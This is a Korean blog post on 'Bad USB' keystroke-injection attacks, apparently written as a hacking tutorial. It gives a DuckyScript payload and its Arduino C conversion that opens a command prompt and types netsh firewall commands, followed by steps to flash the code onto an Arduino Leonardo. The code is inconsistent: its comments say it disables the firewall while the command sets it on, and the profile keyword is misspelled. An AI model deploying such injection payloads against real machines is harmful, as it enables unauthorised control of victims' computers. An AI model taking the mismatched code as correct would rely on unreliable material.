본문 바로가기

보안/해킹

펌웨어 취약점 Bad USB 사용 명령어 강제 실행

1. BAD USB란?

배드USB란 해커가 USB 메모리 펌웨어의 소스 코드를 악의적인 코드로 조작 변조하여 USB를 꽂으면 PC에 바이러스 설치 및 해커가 USB메모리에 심어 놓은 악성코드가 실행되는 USB를 말한다.

운영체제들은 USB 하드웨어의 펌웨어를 확인할 수 있는 별도의 내장 옵션을 갖고 있지 않기 때문에 USB 포트에 연결된 어떠한 하드웨어라도 운영체제가 승인하는 장치로 인식합니다.

응용 프로그램의 실행파일인 경우에 운영체제는 "코드사인" 이라는 프로세스를 통해 무결성과 공급자를 검증합니다. 이런 코드 사인이 USB에는 별도의 옵션이 없으므로 코드사인 같은 USB 펌웨어를 검증하기 위한 체계의 구축은 운영체제 및 USB 장치의 개발자에게 숙제가 되었습니다.

* BAD USB를 만들기 위해서는 아두이노 기반의 USB를 사용하여야 한다.

https://shop.hak5.org/

 

Top Pentest Devices

Hak5 Gear - TOP PENETRATION TESTING DEVICES. Creators of the WiFi Pineapple, USB Rubber Ducky, Bash Bunny, LAN Turtle, Packet Squirrel. Established in 2005

shop.hak5.org

 

2. 악성코드는 어떻게 생성될까?

BAD USB의 악성코드는 시스템 펌웨어에게 명령어를 전달하여야 하므로 C 프로그래밍으로 제작이 됩니다.

C언어 프로그래밍은 인간이 컴퓨터와 대화하기 위한 고급언어로 시스템 프로그래밍에 많이 사용되며 사용자가 입력한 코드의 집합을 명령어로 전달하여 컴퓨터에게 사용자가 입력한 프로그래밍을 실행하게 합니다.

BAD USB의 악성코드를 제작할 때는 고급작업하는 경우에는 C언어 프로그래밍을 작성하여 함수의 연계를 사용하여 악성코드를 작성하여야 하지만 간단한 작업을 하기 위해서는 반드시 C언어를 사용할 필요는 없습니다.

악성코드 실행 시나리오를 작성한 다음 DuckyScript 언어(bat 스크립트와 유사)를 사용하여 해당 시나리오와 동일하게 코드를 작성한 후에 C언어 변환을 하여 악성코드를 제작할 수 있다.

GUI r
DELAY 1000
STRING cmd
DELAY 500
ENTER
DELAY 1000
STRING netsh
DELAY 500
ENTER
DELAY 1000
STRING advfirewall set allprofile state on
ENTER
REM Window + r -> cmd -> netsh -> advfirewall set allprofile state on
REM 방화벽 끄기

https://roothaxor.gitlab.io/ducky2arduino_stable/
DuckyScript 변환 -> C언어(https://roothaxor.gitlab.io/ducky2arduino_stable/)

 

#include <Keyboard.h> 
/*
* Thankyou For Using Me. 
* Follow my Developer @root_haxor 
*/
void setup() {
	Keyboard.begin();
    
type(KEY_LEFT_GUI,false);
type('R',false);
Keyboard.releaseAll();
delay(1000);

print(F("CMD"));
delay(500);
    
type(KEY_RETURN,false);
Keyboard.releaseAll();
delay(1000);

print(F("NETSH"));
delay(500);
    
type(KEY_RETURN,false);
Keyboard.releaseAll();
delay(1000);

print(F("ADVFIREWALL SET ALLPROFILE STATE ON"));
    
type(KEY_RETURN,false);
Keyboard.releaseAll();
//WINDOW + R -> CMD -> NETSH -> ADVFIREWALL SET ALLPROFILE STATE ON
//방화벽 끄기
Keyboard.end();
}
void type(int key, boolean release) {
	Keyboard.press(key);
	if(release)
		Keyboard.release(key);
}
void print(const __FlashStringHelper *value) {
	Keyboard.print(value);
}
void loop(){}

* 변환 사이트는 악용 우려 가능성으로 인한 비공개로 합니다.

* 공부용으로 한다고 한다면 비밀댓글 부탁드립니다.

3. 악성코드 삽입

USB 펌웨어 메모리에 악성코드를 삽입하기 위해서는 아두이노 IDE 통합개발환경의 편집기에 악성코드를 작성하고 컴파일러를 통하여 C언어 코드를 컴퓨터가 이해할 수 있는 명령어로 변환시켜 업로드를 하면 BAD USB가 완성됩니다.

https://www.arduino.cc/en/Main/Donate

 

Arduino - Donate

Consider supporting the Arduino Software by contributing to its development. (US tax payers, please note this contribution is not tax deductible). Learn more on how your contribution will be used. SINCE MARCH 2015, THE ARDUINO IDE HAS BEEN DOWNLOADED SO MA

www.arduino.cc

위 사이트를 통하여 아두이노 IDE 설치가 가능하다.

 

업로드 과정

1) 아두이도 IDE 편집기에 USB Rubber DuckyScript 삽입 

2) 도구 - 포트 - ArduinoLeonardo 선택

3) 스케치 - 업로드 선택 - 업로드 선택 시 스크립트가 1회 실행

위 과정을 통하여 usb에 악성코드가 삽입되었으면 USB를 삽입 후 컴퓨터 부팅을 하면 해커가 원하는 코드가 실행된다.

* 아두이노 USB가 현재 없어서 과정을 간략히 한 것 죄송합니다.

 

정책적으로 이동식 저장소에 대한 포트락을 통한 물리적 대응 및 근로자 보안 교육을 통한 보안인식 대응을 하고 있지만, 아직도 많은 곳에서 USB를 통한 감염 발생한다. USB는 펌웨어 단에서 실행되기 때문에 컴퓨터 자체 보안이 힘들기 때문에 근로자의 보안인식 강화로 비인가된 USB의 사용을 자제하여야 한다.

 

'보안 > 해킹' 카테고리의 다른 글

칼리 리눅스 설치 후 한글 패치 해결하기  (0) 2020.02.10
칼리리눅스 설치 방법  (2) 2020.02.08
XPath 개념 및 십습(2)  (0) 2020.01.27
XPath 개념 및 실습(1)  (1) 2020.01.26